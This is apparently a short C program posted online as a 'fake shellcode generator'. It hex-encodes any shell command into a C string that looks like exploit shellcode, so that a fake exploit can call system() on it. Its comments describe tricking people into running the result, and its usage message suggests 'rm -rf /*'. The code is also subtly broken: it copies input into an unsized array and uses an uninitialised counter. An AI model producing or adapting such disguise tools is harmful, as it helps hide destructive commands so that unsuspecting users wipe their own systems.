Fake shellcode generator, ala apache.c.
bfd19f1827d6472dee858060d7035237/* Fake shellcode generator, ala apache.c (Could be useful, really it could) */
/* Something like this... char shellcode[] = "\1231\123\123"; */
/* system(shellcode); BUT GET ORIGINAL! They'll only fall for it so many */
/* times... */
/* neeko, neeko@mc2.nu */
/* Check out www.mc2.nu - props to crakrjak for my space on mc2.nu */
#include <stdio.h>
#include <stdlib.h>
/* Maximum characters encoded per line (default 10) */
#define MAXCHAR 10
char zap[];
int main (int argc, char **argv)
{
int i, z;
if (argv[1] == NULL)
{
fprintf (stderr, "ERROR, NO ARGV1!\n");
fprintf (stderr, "Try something like... %s \"rm -rf /*\"", argv[0]);
return -1;
}
strcpy (zap, argv[1]);
printf ("char shellcode[] = \\ \n\t\"");
for (i = 0; i < strlen (zap); i++)
{
z++;
if (z > MAXCHAR)
{
printf ("\"\n\t\"");
z = 0;
}
printf ("\\x%x", zap[i]);
}
printf ("\";\n");
return 0;
}
Comments
No comments yet, be the first!